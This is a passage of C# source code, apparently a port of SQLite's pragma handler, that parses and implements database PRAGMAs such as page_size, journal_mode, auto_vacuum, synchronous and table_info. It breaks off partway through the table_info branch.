!SQLITE_OMIT_FLAG_PRAGMAS\n    /*\n** Check to see if zRight and zLeft refer to a pragma that queries\n** or changes one of the flags in db.flags.  Return 1 if so and 0 if not.\n** Also, implement the pragma.\n*/\n    struct sPragmaType\n    {\n      public string zName;  /* Name of the pragma */\n      public int mask;           /* Mask for the db.flags value */\n      public sPragmaType( string zName, int mask )\n      {\n        this.zName = zName;\n        this.mask = mask;\n      }\n    }\n    static int flagPragma( Parse pParse, string zLeft, string zRight )\n    {\n      sPragmaType[] aPragma = new sPragmaType[]{\nnew sPragmaType( \"full_column_names\",        SQLITE_FullColNames  ),\nnew sPragmaType( \"short_column_names\",       SQLITE_ShortColNames ),\nnew sPragmaType( \"count_changes\",            SQLITE_CountRows     ),\nnew sPragmaType( \"empty_result_callbacks\",   SQLITE_NullCallback  ),\nnew sPragmaType( \"legacy_file_format\",       SQLITE_LegacyFileFmt ),\nnew sPragmaType( \"fullfsync\",                SQLITE_FullFSync     ),\nnew sPragmaType(  \"reverse_unordered_selects\", SQLITE_ReverseOrder  ),\n#if SQLITE_DEBUG\nnew sPragmaType( \"sql_trace\",                SQLITE_SqlTrace      ),\nnew sPragmaType( \"vdbe_listing\",             SQLITE_VdbeListing   ),\nnew sPragmaType( \"vdbe_trace\",               SQLITE_VdbeTrace     ),\n#endif\n#if !SQLITE_OMIT_CHECK\nnew sPragmaType( \"ignore_check_constraints\", SQLITE_IgnoreChecks  ),\n#endif\n/* The following is VERY experimental */\nnew sPragmaType( \"writable_schema\",          SQLITE_WriteSchema|SQLITE_RecoveryMode ),\nnew sPragmaType( \"omit_readlock\",            SQLITE_NoReadlock    ),\n\n/* TODO: Maybe it shouldn't be possible to change the ReadUncommitted\n** flag if there are any active statements. */\nnew sPragmaType( \"read_uncommitted\",         SQLITE_ReadUncommitted ),\n};\n      int i;\n      sPragmaType p;\n      for ( i = 0 ; i < ArraySize( aPragma ) ; i++ )//, p++)\n      {\n        p = aPragma[i];\n        if ( sqlite3StrICmp( zLeft, p.zName ) == 0 )\n        {\n          sqlite3 db = pParse.db;\n          Vdbe v;\n          v = sqlite3GetVdbe( pParse );\n          Debug.Assert( v != null );  /* Already allocated by sqlite3Pragma() */\n          if ( ALWAYS( v ) )\n          {\n            if ( null == zRight )\n            {\n              returnSingleInt( pParse, p.zName, ( ( db.flags & p.mask ) != 0 ) ? 1 : 0 );\n            }\n            else\n            {\n              if ( getBoolean( zRight ) != 0 )\n              {\n                db.flags |= p.mask;\n              }\n              else\n              {\n                db.flags &= ~p.mask;\n              }\n\n              /* Many of the flag-pragmas modify the code generated by the SQL\n              ** compiler (eg. count_changes). So add an opcode to expire all\n              ** compiled SQL statements after modifying a pragma value.\n              */\n              sqlite3VdbeAddOp2( v, OP_Expire, 0, 0 );\n            }\n          }\n\n          return 1;\n        }\n      }\n      return 0;\n    }\n#endif // * SQLITE_OMIT_FLAG_PRAGMAS */\n\n    /*\n** Return a human-readable name for a constraint resolution action.\n*/\n    static string actionName( int action )\n    {\n      string zName;\n      switch ( action )\n      {\n        case OE_SetNull: zName = \"SET NULL\"; break;\n        case OE_SetDflt: zName = \"SET DEFAULT\"; break;\n        case OE_Cascade: zName = \"CASCADE\"; break;\n        default: zName = \"RESTRICT\";\n          Debug.Assert( action == OE_Restrict ); break;\n      }\n      return zName;\n    }\n\n    /*\n    ** Process a pragma statement.\n    **\n    ** Pragmas are of this form:\n    **\n    **      PRAGMA [database.]id [= value]\n    **\n    ** The identifier might also be a string.  The value is a string, and\n    ** identifier, or a number.  If minusFlag is true, then the value is\n    ** a number that was preceded by a minus sign.\n    **\n    ** If the left side is \"database.id\" then pId1 is the database name\n    ** and pId2 is the id.  If the left side is just \"id\" then pId1 is the\n    ** id and pId2 is any empty string.\n    */\n    class EncName\n    {\n      public string zName;\n      public u8 enc;\n\n      public EncName( string zName, u8 enc )\n      {\n        this.zName = zName;\n        this.enc = enc;\n      }\n    };\n\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3Pragma( Parse pParse, Token pId1, Token pId2, int null_4, int minusFlag )\n    { sqlite3Pragma( pParse, pId1, pId2, null, minusFlag ); }\n    static void sqlite3Pragma(\n    Parse pParse,\n    Token pId1,        /* First part of [database.]id field */\n    Token pId2,        /* Second part of [database.]id field, or NULL */\n    Token pValue,      /* Token for <value>, or NULL */\n    int minusFlag     /* True if a '-' sign preceded <value> */\n    )\n    {\n      string zLeft = null;    /* Nul-terminated UTF-8 string <id> */\n      string zRight = null;   /* Nul-terminated UTF-8 string <value>, or NULL */\n      string zDb = null;      /* The database name */\n      Token pId = new Token();/* Pointer to <id> token */\n      int iDb;                /* Database index for <database> */\n      sqlite3 db = pParse.db;\n      Db pDb;\n      Vdbe v = pParse.pVdbe = sqlite3VdbeCreate( db );\n      if ( v == null ) return;\n      pParse.nMem = 2;\n\n      /* Interpret the [database.] part of the pragma statement. iDb is the\n      ** index of the database this pragma is being applied to in db.aDb[]. */\n      iDb = sqlite3TwoPartName( pParse, pId1, pId2, ref pId );\n      if ( iDb < 0 ) return;\n      pDb = db.aDb[iDb];\n\n      /* If the temp database has been explicitly named as part of the\n      ** pragma, make sure it is open.\n      */\n      if ( iDb == 1 && sqlite3OpenTempDatabase( pParse ) != 0 )\n      {\n        return;\n      }\n\n      zLeft = sqlite3NameFromToken( db, pId );\n      if ( zLeft == \"\" ) return;\n      if ( minusFlag != 0 )\n      {\n        zRight = ( pValue == null ) ? \"\" : sqlite3MPrintf( db, \"-%T\", pValue );\n      }\n      else\n      {\n        zRight = sqlite3NameFromToken( db, pValue );\n      }\n\n      Debug.Assert( pId2 != null );\n      zDb = pId2.n > 0 ? pDb.zName : null;\n#if !SQLITE_OMIT_AUTHORIZATION\nif ( sqlite3AuthCheck( pParse, SQLITE_PRAGMA, zLeft, zRight, zDb ) )\n{\ngoto pragma_out;\n}\n#endif\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n      /*\n**  PRAGMA [database.]default_cache_size\n**  PRAGMA [database.]default_cache_size=N\n**\n** The first form reports the current persistent setting for the\n** page cache size.  The value returned is the maximum number of\n** pages in the page cache.  The second form sets both the current\n** page cache size value and the persistent page cache size value\n** stored in the database file.\n**\n** The default cache size is stored in meta-value 2 of page 1 of the\n** database file.  The cache size is actually the absolute value of\n** this memory location.  The sign of meta-value 2 determines the\n** synchronous setting.  A negative value means synchronous is off\n** and a positive value means synchronous is on.\n*/\n      if ( sqlite3StrICmp( zLeft, \"default_cache_size\" ) == 0 )\n      {\n        VdbeOpList[] getCacheSize = new VdbeOpList[]{\nnew VdbeOpList( OP_Transaction, 0, 0,        0),                         /* 0 */\nnew VdbeOpList( OP_ReadCookie,  0, 1,        BTREE_DEFAULT_CACHE_SIZE),  /* 1 */\nnew VdbeOpList( OP_IfPos,       1, 7,        0),\nnew VdbeOpList( OP_Integer,     0, 2,        0),\nnew VdbeOpList( OP_Subtract,    1, 2,        1),\nnew VdbeOpList( OP_IfPos,       1, 7,        0),\nnew VdbeOpList( OP_Integer,     0, 1,        0),  /* 6 */\nnew VdbeOpList( OP_ResultRow,   1, 1,        0),\n};\n        int addr;\n        if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n        sqlite3VdbeUsesBtree( v, iDb );\n        if ( null == zRight )\n        {\n          sqlite3VdbeSetNumCols( v, 1 );\n          sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"cache_size\", SQLITE_STATIC );\n          pParse.nMem += 2;\n          addr = sqlite3VdbeAddOpList( v, getCacheSize.Length, getCacheSize );\n          sqlite3VdbeChangeP1( v, addr, iDb );\n          sqlite3VdbeChangeP1( v, addr + 1, iDb );\n          sqlite3VdbeChangeP1( v, addr + 6, SQLITE_DEFAULT_CACHE_SIZE );\n        }\n        else\n        {\n          int size = atoi( zRight );\n          if ( size < 0 ) size = -size;\n          sqlite3BeginWriteOperation( pParse, 0, iDb );\n          sqlite3VdbeAddOp2( v, OP_Integer, size, 1 );\n          sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, 2, BTREE_DEFAULT_CACHE_SIZE );\n          addr = sqlite3VdbeAddOp2( v, OP_IfPos, 2, 0 );\n          sqlite3VdbeAddOp2( v, OP_Integer, -size, 1 );\n          sqlite3VdbeJumpHere( v, addr );\n          sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_DEFAULT_CACHE_SIZE, 1 );\n          pDb.pSchema.cache_size = size;\n          sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size );\n        }\n      }\n      else\n\n        /*\n        **  PRAGMA [database.]page_size\n        **  PRAGMA [database.]page_size=N\n        **\n        ** The first form reports the current setting for the\n        ** database page size in bytes.  The second form sets the\n        ** database page size value.  The value can only be set if\n        ** the database has not yet been created.\n        */\n        if ( sqlite3StrICmp( zLeft, \"page_size\" ) == 0 )\n        {\n          Btree pBt = pDb.pBt;\n          Debug.Assert( pBt != null );\n          if ( null == zRight )\n          {\n            int size = ALWAYS( pBt ) ? sqlite3BtreeGetPageSize( pBt ) : 0;\n            returnSingleInt( pParse, \"page_size\", size );\n          }\n          else\n          {\n            /* Malloc may fail when setting the page-size, as there is an internal\n            ** buffer that the pager module resizes using sqlite3_realloc().\n            */\n            db.nextPagesize = atoi( zRight );\n            if ( SQLITE_NOMEM == sqlite3BtreeSetPageSize( pBt, db.nextPagesize, -1, 0 ) )\n            {\n      ////        db.mallocFailed = 1;\n            }\n          }\n        }\n        else\n\n          /*\n          **  PRAGMA [database.]max_page_count\n          **  PRAGMA [database.]max_page_count=N\n          **\n          ** The first form reports the current setting for the\n          ** maximum number of pages in the database file.  The\n          ** second form attempts to change this setting.  Both\n          ** forms return the current setting.\n          */\n          if ( sqlite3StrICmp( zLeft, \"max_page_count\" ) == 0 )\n          {\n            Btree pBt = pDb.pBt;\n            int newMax = 0;\n            Debug.Assert( pBt != null );\n            if ( zRight != null )\n            {\n              newMax = atoi( zRight );\n            }\n            if ( ALWAYS( pBt ) )\n            {\n              newMax = (int)sqlite3BtreeMaxPageCount( pBt, newMax );\n            }\n            returnSingleInt( pParse, \"max_page_count\", newMax );\n          }\n          else\n\n            /*\n            **  PRAGMA [database.]page_count\n            **\n            ** Return the number of pages in the specified database.\n            */\n            if ( sqlite3StrICmp( zLeft, \"page_count\" ) == 0 )\n            {\n              int iReg;\n              if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n              sqlite3CodeVerifySchema( pParse, iDb );\n              iReg = ++pParse.nMem;\n              sqlite3VdbeAddOp2( v, OP_Pagecount, iDb, iReg );\n              sqlite3VdbeAddOp2( v, OP_ResultRow, iReg, 1 );\n              sqlite3VdbeSetNumCols( v, 1 );\n              sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"page_count\", SQLITE_STATIC );\n            }\n            else\n\n              /*\n              **  PRAGMA [database.]page_count\n              **\n              ** Return the number of pages in the specified database.\n              */\n              if ( zLeft == \"page_count\" )\n              {\n                Vdbe _v;\n                int iReg;\n                _v = sqlite3GetVdbe( pParse );\n                if ( _v == null || sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                sqlite3CodeVerifySchema( pParse, iDb );\n                iReg = ++pParse.nMem;\n                sqlite3VdbeAddOp2( _v, OP_Pagecount, iDb, iReg );\n                sqlite3VdbeAddOp2( _v, OP_ResultRow, iReg, 1 );\n                sqlite3VdbeSetNumCols( _v, 1 );\n                sqlite3VdbeSetColName( _v, 0, COLNAME_NAME, \"page_count\", SQLITE_STATIC );\n              }\n              else\n\n                /*\n                **  PRAGMA [database.]locking_mode\n                **  PRAGMA [database.]locking_mode = (normal|exclusive)\n                */\n                if ( sqlite3StrICmp( zLeft, \"locking_mode\" ) == 0 )\n                {\n                  string zRet = \"normal\";\n                  int eMode = getLockingMode( zRight );\n\n                  if ( pId2.n == 0 && eMode == PAGER_LOCKINGMODE_QUERY )\n                  {\n                    /* Simple \"PRAGMA locking_mode;\" statement. This is a query for\n                    ** the current default locking mode (which may be different to\n                    ** the locking-mode of the main database).\n                    */\n                    eMode = db.dfltLockMode;\n                  }\n                  else\n                  {\n                    Pager pPager;\n                    if ( pId2.n == 0 )\n                    {\n                      /* This indicates that no database name was specified as part\n                      ** of the PRAGMA command. In this case the locking-mode must be\n                      ** set on all attached databases, as well as the main db file.\n                      **\n                      ** Also, the sqlite3.dfltLockMode variable is set so that\n                      ** any subsequently attached databases also use the specified\n                      ** locking mode.\n                      */\n                      int ii;\n                      Debug.Assert( pDb == db.aDb[0] );\n                      for ( ii = 2 ; ii < db.nDb ; ii++ )\n                      {\n                        pPager = sqlite3BtreePager( db.aDb[ii].pBt );\n                        sqlite3PagerLockingMode( pPager, eMode );\n                      }\n                      db.dfltLockMode = (u8)eMode;\n                    }\n                    pPager = sqlite3BtreePager( pDb.pBt );\n                    eMode = sqlite3PagerLockingMode( pPager, eMode ) ? 1 : 0;\n                  }\n\n                  Debug.Assert( eMode == PAGER_LOCKINGMODE_NORMAL || eMode == PAGER_LOCKINGMODE_EXCLUSIVE );\n                  if ( eMode == PAGER_LOCKINGMODE_EXCLUSIVE )\n                  {\n                    zRet = \"exclusive\";\n                  }\n                  sqlite3VdbeSetNumCols( v, 1 );\n                  sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"locking_mode\", SQLITE_STATIC );\n                  sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, zRet, 0 );\n                  sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 );\n                }\n                else\n                  /*\n                  **  PRAGMA [database.]journal_mode\n                  **  PRAGMA [database.]journal_mode = (delete|persist|off|truncate|memory)\n                  */\n                  if ( zLeft == \"journal_mode\" )\n                  {\n                    int eMode;\n                    string[] azModeName = new string[] {\n\"delete\", \"persist\", \"off\", \"truncate\", \"memory\"\n};\n\n                    if ( null == zRight )\n                    {\n                      eMode = PAGER_JOURNALMODE_QUERY;\n                    }\n                    else\n                    {\n                      int n = sqlite3Strlen30( zRight );\n                      eMode = azModeName.Length - 1;//sizeof(azModeName)/sizeof(azModeName[0]) - 1;\n                      while ( eMode >= 0 && String.Compare( zRight, azModeName[eMode], true ) != 0 )\n                      {\n                        eMode--;\n                      }\n                    }\n                    if ( pId2.n == 0 && eMode == PAGER_JOURNALMODE_QUERY )\n                    {\n                      /* Simple \"PRAGMA journal_mode;\" statement. This is a query for\n                      ** the current default journal mode (which may be different to\n                      ** the journal-mode of the main database).\n                      */\n                      eMode = db.dfltJournalMode;\n                    }\n                    else\n                    {\n                      Pager pPager;\n                      if ( pId2.n == 0 )\n                      {\n                        /* This indicates that no database name was specified as part\n                        ** of the PRAGMA command. In this case the journal-mode must be\n                        ** set on all attached databases, as well as the main db file.\n                        **\n                        ** Also, the sqlite3.dfltJournalMode variable is set so that\n                        ** any subsequently attached databases also use the specified\n                        ** journal mode.\n                        */\n                        int ii;\n                        Debug.Assert( pDb == db.aDb[0] );\n                        for ( ii = 1 ; ii < db.nDb ; ii++ )\n                        {\n                          if ( db.aDb[ii].pBt != null )\n                          {\n                            pPager = sqlite3BtreePager( db.aDb[ii].pBt );\n                            sqlite3PagerJournalMode( pPager, eMode );\n                          }\n                        }\n                        db.dfltJournalMode = (u8)eMode;\n                      }\n                      pPager = sqlite3BtreePager( pDb.pBt );\n                      eMode = sqlite3PagerJournalMode( pPager, eMode );\n                    }\n                    Debug.Assert( eMode == PAGER_JOURNALMODE_DELETE\n                    || eMode == PAGER_JOURNALMODE_TRUNCATE\n                    || eMode == PAGER_JOURNALMODE_PERSIST\n                    || eMode == PAGER_JOURNALMODE_OFF\n                    || eMode == PAGER_JOURNALMODE_MEMORY );\n                    sqlite3VdbeSetNumCols( v, 1 );\n                    sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"journal_mode\", SQLITE_STATIC );\n                    sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0,\n                    azModeName[eMode], P4_STATIC );\n                    sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 );\n                  }\n                  else\n\n                    /*\n                    **  PRAGMA [database.]journal_size_limit\n                    **  PRAGMA [database.]journal_size_limit=N\n                    **\n                    ** Get or set the size limit on rollback journal files.\n                    */\n                    if ( sqlite3StrICmp( zLeft, \"journal_size_limit\" ) == 0 )\n                    {\n                      Pager pPager = sqlite3BtreePager( pDb.pBt );\n                      i64 iLimit = -2;\n                      if ( !String.IsNullOrEmpty( zRight ) )\n                      {\n                        sqlite3Atoi64( zRight, ref iLimit );\n                        if ( iLimit < -1 ) iLimit = -1;\n                      }\n                      iLimit = sqlite3PagerJournalSizeLimit( pPager, iLimit );\n                      returnSingleInt( pParse, \"journal_size_limit\", iLimit );\n                    }\n                    else\n\n#endif // * SQLITE_OMIT_PAGER_PRAGMAS */\n\n                      /*\n**  PRAGMA [database.]auto_vacuum\n**  PRAGMA [database.]auto_vacuum=N\n**\n** Get or set the value of the database 'auto-vacuum' parameter.\n** The value is one of:  0 NONE 1 FULL 2 INCREMENTAL\n*/\n#if !SQLITE_OMIT_AUTOVACUUM\n                      if ( sqlite3StrICmp( zLeft, \"auto_vacuum\" ) == 0 )\n                      {\n                        Btree pBt = pDb.pBt;\n                        Debug.Assert( pBt != null );\n                        if ( sqlite3ReadSchema( pParse ) != 0 )\n                        {\n                          goto pragma_out;\n                        }\n                        if ( null == zRight )\n                        {\n                          int auto_vacuum;\n                          if ( ALWAYS( pBt ) )\n                          {\n                            auto_vacuum = sqlite3BtreeGetAutoVacuum( pBt );\n                          }\n                          else\n                          {\n                            auto_vacuum = SQLITE_DEFAULT_AUTOVACUUM;\n                          }\n                          returnSingleInt( pParse, \"auto_vacuum\", auto_vacuum );\n                        }\n                        else\n                        {\n                          int eAuto = getAutoVacuum( zRight );\n                          Debug.Assert( eAuto >= 0 && eAuto <= 2 );\n                          db.nextAutovac = (u8)eAuto;\n                          if ( ALWAYS( eAuto >= 0 ) )\n                          {\n                            /* Call SetAutoVacuum() to set initialize the internal auto and\n                            ** incr-vacuum flags. This is required in case this connection\n                            ** creates the database file. It is important that it is created\n                            ** as an auto-vacuum capable db.\n                            */\n                            int rc = sqlite3BtreeSetAutoVacuum( pBt, eAuto );\n                            if ( rc == SQLITE_OK && ( eAuto == 1 || eAuto == 2 ) )\n                            {\n                              /* When setting the auto_vacuum mode to either \"full\" or\n                              ** \"incremental\", write the value of meta[6] in the database\n                              ** file. Before writing to meta[6], check that meta[3] indicates\n                              ** that this really is an auto-vacuum capable database.\n                              */\n                              VdbeOpList[] setMeta6 = new VdbeOpList[] {\nnew VdbeOpList( OP_Transaction,    0,               1,        0),    /* 0 */\nnew VdbeOpList( OP_ReadCookie,     0,               1,        BTREE_LARGEST_ROOT_PAGE),    /* 1 */\nnew VdbeOpList( OP_If,             1,               0,        0),    /* 2 */\nnew VdbeOpList( OP_Halt,           SQLITE_OK,       OE_Abort, 0),    /* 3 */\nnew VdbeOpList( OP_Integer,        0,               1,        0),    /* 4 */\nnew VdbeOpList( OP_SetCookie,      0,               BTREE_INCR_VACUUM, 1),    /* 5 */\n};\n                              int iAddr;\n                              iAddr = sqlite3VdbeAddOpList( v, ArraySize( setMeta6 ), setMeta6 );\n                              sqlite3VdbeChangeP1( v, iAddr, iDb );\n                              sqlite3VdbeChangeP1( v, iAddr + 1, iDb );\n                              sqlite3VdbeChangeP2( v, iAddr + 2, iAddr + 4 );\n                              sqlite3VdbeChangeP1( v, iAddr + 4, eAuto - 1 );\n                              sqlite3VdbeChangeP1( v, iAddr + 5, iDb );\n                              sqlite3VdbeUsesBtree( v, iDb );\n                            }\n                          }\n                        }\n                      }\n                      else\n#endif\n\n                        /*\n**  PRAGMA [database.]incremental_vacuum(N)\n**\n** Do N steps of incremental vacuuming on a database.\n*/\n#if !SQLITE_OMIT_AUTOVACUUM\n                        if ( sqlite3StrICmp( zLeft, \"incremental_vacuum\" ) == 0 )\n                        {\n                          int iLimit = 0, addr;\n                          if ( sqlite3ReadSchema( pParse ) != 0 )\n                          {\n                            goto pragma_out;\n                          }\n                          if ( zRight == null || !sqlite3GetInt32( zRight, ref iLimit ) || iLimit <= 0 )\n                          {\n                            iLimit = 0x7fffffff;\n                          }\n                          sqlite3BeginWriteOperation( pParse, 0, iDb );\n                          sqlite3VdbeAddOp2( v, OP_Integer, iLimit, 1 );\n                          addr = sqlite3VdbeAddOp1( v, OP_IncrVacuum, iDb );\n                          sqlite3VdbeAddOp1( v, OP_ResultRow, 1 );\n                          sqlite3VdbeAddOp2( v, OP_AddImm, 1, -1 );\n                          sqlite3VdbeAddOp2( v, OP_IfPos, 1, addr );\n                          sqlite3VdbeJumpHere( v, addr );\n                        }\n                        else\n#endif\n\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n                          /*\n**  PRAGMA [database.]cache_size\n**  PRAGMA [database.]cache_size=N\n**\n** The first form reports the current local setting for the\n** page cache size.  The local setting can be different from\n** the persistent cache size value that is stored in the database\n** file itself.  The value returned is the maximum number of\n** pages in the page cache.  The second form sets the local\n** page cache size value.  It does not change the persistent\n** cache size stored on the disk so the cache size will revert\n** to its default value when the database is closed and reopened.\n** N should be a positive integer.\n*/\n                          if ( sqlite3StrICmp( zLeft, \"cache_size\" ) == 0 )\n                          {\n                            if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                            if ( null == zRight )\n                            {\n                              returnSingleInt( pParse, \"cache_size\", pDb.pSchema.cache_size );\n                            }\n                            else\n                            {\n                              int size = atoi( zRight );\n                              if ( size < 0 ) size = -size;\n                              pDb.pSchema.cache_size = size;\n                              sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size );\n                            }\n                          }\n                          else\n\n                            /*\n                            **   PRAGMA temp_store\n                            **   PRAGMA temp_store = \"default\"|\"memory\"|\"file\"\n                            **\n                            ** Return or set the local value of the temp_store flag.  Changing\n                            ** the local value does not make changes to the disk file and the default\n                            ** value will be restored the next time the database is opened.\n                            **\n                            ** Note that it is possible for the library compile-time options to\n                            ** override this setting\n                            */\n                            if ( sqlite3StrICmp( zLeft, \"temp_store\" ) == 0 )\n                            {\n                              if ( zRight == null )\n                              {\n                                returnSingleInt( pParse, \"temp_store\", db.temp_store );\n                              }\n                              else\n                              {\n                                changeTempStorage( pParse, zRight );\n                              }\n                            }\n                            else\n\n                              /*\n                              **   PRAGMA temp_store_directory\n                              **   PRAGMA temp_store_directory = \"\"|\"directory_name\"\n                              **\n                              ** Return or set the local value of the temp_store_directory flag.  Changing\n                              ** the value sets a specific directory to be used for temporary files.\n                              ** Setting to a null string reverts to the default temporary directory search.\n                              ** If temporary directory is changed, then invalidateTempStorage.\n                              **\n                              */\n                              if ( sqlite3StrICmp( zLeft, \"temp_store_directory\" ) == 0 )\n                              {\n                                if ( null == zRight )\n                                {\n                                  if ( sqlite3_temp_directory != \"\" )\n                                  {\n                                    sqlite3VdbeSetNumCols( v, 1 );\n                                    sqlite3VdbeSetColName( v, 0, COLNAME_NAME,\n                                        \"temp_store_directory\", SQLITE_STATIC );\n                                    sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, sqlite3_temp_directory, 0 );\n                                    sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 );\n                                  }\n                                }\n                                else\n                                {\n#if !SQLITE_OMIT_WSD\n                                  if ( zRight.Length > 0 )\n                                  {\n                                    int rc;\n                                    int res = 0;\n                                    rc = sqlite3OsAccess( db.pVfs, zRight, SQLITE_ACCESS_READWRITE, ref res );\n                                    if ( rc != SQLITE_OK || res == 0 )\n                                    {\n                                      sqlite3ErrorMsg( pParse, \"not a writable directory\" );\n                                      goto pragma_out;\n                                    }\n                                  }\n                                  if ( SQLITE_TEMP_STORE == 0\n                                   || ( SQLITE_TEMP_STORE == 1 && db.temp_store <= 1 )\n                                   || ( SQLITE_TEMP_STORE == 2 && db.temp_store == 1 )\n                                  )\n                                  {\n                                    invalidateTempStorage( pParse );\n                                  }\n                                  //sqlite3_free( ref sqlite3_temp_directory );\n                                  if ( zRight.Length > 0 )\n                                  {\n                                    sqlite3_temp_directory = zRight;//sqlite3DbStrDup(0, zRight);\n                                  }\n                                  else\n                                  {\n                                    sqlite3_temp_directory = \"\";\n                                  }\n#endif //* SQLITE_OMIT_WSD */\n                                }\n                              }\n                              else\n\n#if !(SQLITE_ENABLE_LOCKING_STYLE)\n#  if (__APPLE__)\n//#    define SQLITE_ENABLE_LOCKING_STYLE 1\n#  else\n                                //#    define SQLITE_ENABLE_LOCKING_STYLE 0\n#  endif\n#endif\n#if SQLITE_ENABLE_LOCKING_STYLE\n/*\n**   PRAGMA [database.]lock_proxy_file\n**   PRAGMA [database.]lock_proxy_file = \":auto:\"|\"lock_file_path\"\n**\n** Return or set the value of the lock_proxy_file flag.  Changing\n** the value sets a specific file to be used for database access locks.\n**\n*/\nif ( sqlite3StrICmp( zLeft, \"lock_proxy_file\" ) == 0 )\n{\nif ( zRight !=\"\")\n{\nPager pPager = sqlite3BtreePager( pDb.pBt );\nint proxy_file_path = 0;\nsqlite3_file pFile = sqlite3PagerFile( pPager );\nsqlite3OsFileControl( pFile, SQLITE_GET_LOCKPROXYFILE,\nref proxy_file_path );\n\nif ( proxy_file_path!=0 )\n{\nsqlite3VdbeSetNumCols( v, 1 );\nsqlite3VdbeSetColName( v, 0, COLNAME_NAME,\n\"lock_proxy_file\", SQLITE_STATIC );\nsqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, proxy_file_path, 0 );\nsqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 );\n}\n}\nelse\n{\nPager pPager = sqlite3BtreePager( pDb.pBt );\nsqlite3_file pFile = sqlite3PagerFile( pPager );\nint res;\nint iDummy = 0;\nif ( zRight[0]!=0 )\n{\niDummy = zRight[0];\nres = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE,\nref iDummy );\n}\nelse\n{\nres = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE,\nref iDummy );\n}\nif ( res != SQLITE_OK )\n{\nsqlite3ErrorMsg( pParse, \"failed to set lock proxy file\" );\ngoto pragma_out;\n}\n}\n}\nelse\n#endif //* SQLITE_ENABLE_LOCKING_STYLE */\n\n                                /*\n**   PRAGMA [database.]synchronous\n**   PRAGMA [database.]synchronous=OFF|ON|NORMAL|FULL\n**\n** Return or set the local value of the synchronous flag.  Changing\n** the local value does not make changes to the disk file and the\n** default value will be restored the next time the database is\n** opened.\n*/\n                                if ( sqlite3StrICmp( zLeft, \"synchronous\" ) == 0 )\n                                {\n                                  if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                  if ( null == zRight )\n                                  {\n                                    returnSingleInt( pParse, \"synchronous\", pDb.safety_level - 1 );\n                                  }\n                                  else\n                                  {\n                                    if ( 0 == db.autoCommit )\n                                    {\n                                      sqlite3ErrorMsg( pParse,\n                                        \"Safety level may not be changed inside a transaction\" );\n                                    }\n                                    else\n                                    {\n                                      pDb.safety_level = (byte)( getSafetyLevel( zRight ) + 1 );\n                                    }\n                                  }\n                                }\n                                else\n#endif // * SQLITE_OMIT_PAGER_PRAGMAS */\n\n#if !SQLITE_OMIT_FLAG_PRAGMAS\n                                  if ( flagPragma( pParse, zLeft, zRight ) != 0 )\n                                  {\n                                    /* The flagPragma() subroutine also generates any necessary code\n                                    ** there is nothing more to do here */\n                                  }\n                                  else\n#endif // * SQLITE_OMIT_FLAG_PRAGMAS */\n\n#if !SQLITE_OMIT_SCHEMA_PRAGMAS\n                                    /*\n**   PRAGMA table_info(<table>)\n**\n** Return a single row for each column of the named table. The columns of\n** the returned data set are:\n**\n** cid:        Column id (numbered from left to right, starting at 0)\n** name:       Column name\n** type:       Column declaration type.\n** notnull:    True if 'NOT NULL' is part of column declaration\n** dflt_value: The default value for the column, if any.\n*/\n                                    if ( sqlite3StrICmp( zLeft, \"table_info\" ) == 0 && zRight != null )\n                                    {\n                                      Table pTab;\n                                      if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                      pTab = sqlite3FindTable( db, zRight, zDb );\n                                      if ( pTab != null )\n                                      {\n                                        int i;\n                                        int nHidden = 0;\n                                        Column pCol;\n                                        sqlite3VdbeSetNumCols( v, 6 );\n                                        pParse.nMem = 6;\n                                        sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"cid\", SQLITE_STATIC );\n                                        sqlite3VdbeSetColName( v, 1, COLNAME_NAME, \"name\", SQLITE_STATIC );\n                                        sqlite3VdbeSetColName( v, 2, COLNAME_NAME, \"type\", SQLITE_STATIC );\n                                        sqlite3VdbeSetColName( v, 3, COLNAME_NAME, \"notnull\", SQLITE_STATIC );\n                                        sqlite3VdbeSetColName( v, 4, COLNAME_NAME, \"dflt_value\", SQLITE_STATIC );\n                                        sqlite3VdbeSetColName( v, 5, COLNAME_NAME, \"pk\", SQLITE_STATIC );\n                                        sqlite3ViewGetColumnNames( pParse, pTab );\n                                        for ( i = 0 ; i < pTab.nCol ; i++ )//, pCol++)\n                                        {\n                                          pCol = pTab.aCol[i];\n                                          if ( IsHiddenColumn( pCol ) )\n                                          {\n                                            nHidden++;\n                                            continue;\n                                          }\n                                          sqlite3VdbeAddOp2( v, OP_Integer, i - nHidden, 1 );\n                                          sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pCol.zName, 0 );\n                                          sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0,\n                                             pCol.zType != null ? pCol.zType : \"\", 0 );\n                                          sqlite3VdbeAddOp2( v, OP_Integer, ( pCol.notNull != 0 ? 1 : 0 ), 4 );\n                                          if ( pCol.zDflt != null )\n                                          {\n                                            sqlite3VdbeAddOp4( v, OP_String8, 0, 5, 0, pCol.zDflt, 0 );\n                                          }\n                                          else\n                                          {\n                                            